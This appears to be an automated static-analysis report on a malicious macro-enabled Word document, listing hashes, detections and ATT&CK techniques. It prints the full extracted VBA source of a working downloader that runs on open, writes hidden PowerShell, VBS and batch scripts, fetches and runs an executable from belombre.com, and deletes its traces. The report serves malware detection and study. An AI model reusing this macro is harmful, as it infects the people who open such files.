Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 670011a08ddcde9d…

MALICIOUS

Office (OOXML)

21.8 KB Created: 2014-11-05 21:57:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2014-12-09
MD5: 720f6555332b5fee6755debc506c6dd5 SHA-1: 4a2d406e5aff77159ee39067383302420231b045 SHA-256: 670011a08ddcde9d1892593a968f87e9e8800248f6bb9b8967b05ec4c34b64d0
374 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with Auto_Open and Shell execution, indicating malicious intent. The script attempts to download a second-stage payload from 'http://belombre.com/js/bin.exe' and save it as 'c:\Users\<username>\AppData\Local\Temp\444.exe'. The use of cmd.exe and obfuscated API names like 'Scripting.FileSystemObject' further support its malicious nature as a downloader.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        'Shell "cmd.exe /k java -jar " + MY_FILEDIR
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        'Shell "cmd.exe /k java -jar " + MY_FILEDIR
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        'Shell "cmd.exe /k java -jar " + MY_FILEDIR
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         USER = Environ("username")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://belombre.com/js/bi In document text (OOXML body / shared strings)
    • http://belombre.com/js/bi�In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8983 bytes
SHA-256: 532282716bf769d7c6d720c3352fe6e6df52bee43dc8e070025de2f412298997
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
Sub h()
Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR
     USER = Environ("username")
     MY_FILENDIR = "c:\Users\" + USER + "\AppData\Local\Temp" + "\adobeacd-update.p" & Chr(115) & "1"
     MY_FILEDIR = "c:\Users\" + USER + "\AppData\Local\Temp" + "\adobeacd-update.b" & Chr(97) & "t"
     MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp" + "\adobeacd-update." & Chr(118) & "b" & "s"
     
     
     Dim FileNumber As Integer
     Dim FileNumb As Integer
     Dim FileNu As Integer
     Dim retVal As Variant
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
    Open MY_FILENDIR For Output As #FileNumber
    Print #FileNumber, "$hashroot = '94-4a-1e-86-99-69-dd-8a-4b-64-ca-5e-6e-bc-20-9a';"
    Print #FileNumber, "$hash = '0';"
    Print #FileNumber, "$hashasd = 'asdasdasдлфыовдфыkhasjkdhajkshdiusakhdsakhdkjashd';"
    Print #FileNumber, "$has21312312hasd = 'asdjджыфовдлфыовдфыkhasjkdhas;daajkshdiusakhdsakhdkjashd';"
    Print #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject Sy" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
    Print #FileNumber, "$url  = 'http://belombre.com/js/bi" & "n.e" & "xe';"
    Print #FileNumber, "$hashasd = 'asdjджыфовдлфыовдфыkhasjkdhajkshdiusakhdsakhdkjashd';"
    Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44.e" & "xe';"
    Print #FileNumber, "$hashasd = 'asdjkhasjkdhajkshdiusakhdsakhdkjashd';"
    Print #FileNumber, "$down" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
    Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
    Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & "xe" & "';"
    Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "adobeacd-update.v" & "b" & "s';"
    Print #FileNumber, "$batFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "adobeacd-update.b" & "a" & "t';"
    Print #FileNumber, "$psFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "adobeacd-update.p" & "s" & "1';"
    'Print #FileNumber, "Do { Start-Sleep -s 10;"
    'Print #FileNumber, "$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;"
    'Print #FileNumber, "$hash = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($someFilePath))); }"
    'Print #FileNumber, "Until ($hash -Match $hashroot);"
    Print #FileNumber, "Start-Sleep -s 15;"
    Print #FileNumber, "$hashasd = 'asdjдasdkjhksahjashjkжыфовдлфыовдфыkhasjkdhajkshdiusakhdsakhdkjashd';"
    Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e';     "
    Print #FileNumber, "$file1 = gci $vbsFilePath -Force"
    Print #FileNumber, "$file2 = gci $batFilePath -Force"
    Print #FileNumber, "$file3 = gci $psFilePath -Force"
    Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
    Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
    Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
    Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
    Close #FileNumber
    
    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
    Print #FileNumb, "caisudkasdknadsklasdjaklajksjklasdkjlajkalkadsjasjklajklah38e = " & Chr(34) & "231" & Chr(34)
    Print #FileNumb, "S" & "et o" & "bj" & "F" & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & "S" & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
    Print #FileNumb, "currentFile = " & Chr(34) & "C:\Users\" + USER + "\AppData\Local\Temp" + "\adobeacd-update.ps1" & Chr(34)
    Print #FileNumb, "caisudkh38e = " & Chr(34) & "231" & Chr(34)
    Print #FileNumb, "quid8hiqje = " & Chr(34) & "231" & Chr(34)
    Print #FileNumb, "quid8alsdjklashiqje = " & Chr(34) & "231" & Chr(34)
    Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "hell = Create" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")"
    Print #FileNumb, "caksjhdjaskdhakjshdjkashkjdhaksjdhkjashdjkashdjkashdjkashdjakdahjksd = " & Chr(34) & "231" & Chr(34)
    Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
    Print #FileNumb, "caisudkhlkasdjkdlskjldsajkldasjkdsajkldasklsadklwqiodiqwjd38e = " & Chr(34) & "231" & Chr(34)
    Close #FileNumb
     
    Open MY_FILEDIR For Output As #FileNu
    Print #FileNu, "@echo off"
    Print #FileNu, "ping 1.1.2.2 -n 2"
    Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\adobeacd-update.v" & "b" & "s" & Chr(34)
    Print #FileNu, "exit"
    Close #FileNu
        
       
    dir1 = Len(Dir(MY_FILENDIR))
    dir2 = Len(Dir(MY_FILEDIR))
    dir3 = Len(Dir(MY_FILDIR))
    SetAttr MY_FILENDIR, vbHidden
    SetAttr MY_FILEDIR, vbHidden
    SetAttr MY_FILDIR, vbHidden
    
    Do While dir1 = 0
    WaitFor (2)
    Loop
    
    Do While dir2 = 0
    WaitFor (2)
    Loop
    
    Do While dir3 = 0
    WaitFor (2)
    Loop
    
    'Shell "cmd.exe /k java -jar " + MY_FILEDIR
    
    retVal = Shell(MY_FILEDIR, 0)
    
    findTest
    secondTest
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "sel" & "ect>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</s" & "ele" & "ct>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
    
     
End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub findTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRange As Range
Dim selRange As Range
Dim selectedText As String

Set myRange = ActiveDocument.Range
firstTerm = "<se" & "lect>"
secondTerm = "</sel" & "ect>"
With myRange.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
myRange.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = myRange.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
myRange.Collapse direction:=wdCollapseStart
selRange.End = myRange.Start
selectedText = selRange.Delete
End With
End Sub

Sub secondTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRanget As Range
Dim selRanget As Range
Dim selectedTextt As String

Set myRanget = ActiveDocument.Range
firstTerm = "<in" & "box>"
secondTerm = "</in" & "box>"
With myRanget.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
myRanget.Collapse direction:=wdCollapseEnd
Set selRanget = ActiveDocument.Range
selRanget.Start = myRanget.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
myRanget.Collapse direction:=wdCollapseStart
selRanget.End = myRanget.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: ec0b3f238a5aadd5dcf408bb412c6fdd6dce8ddd796b490aa88779879171567e
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.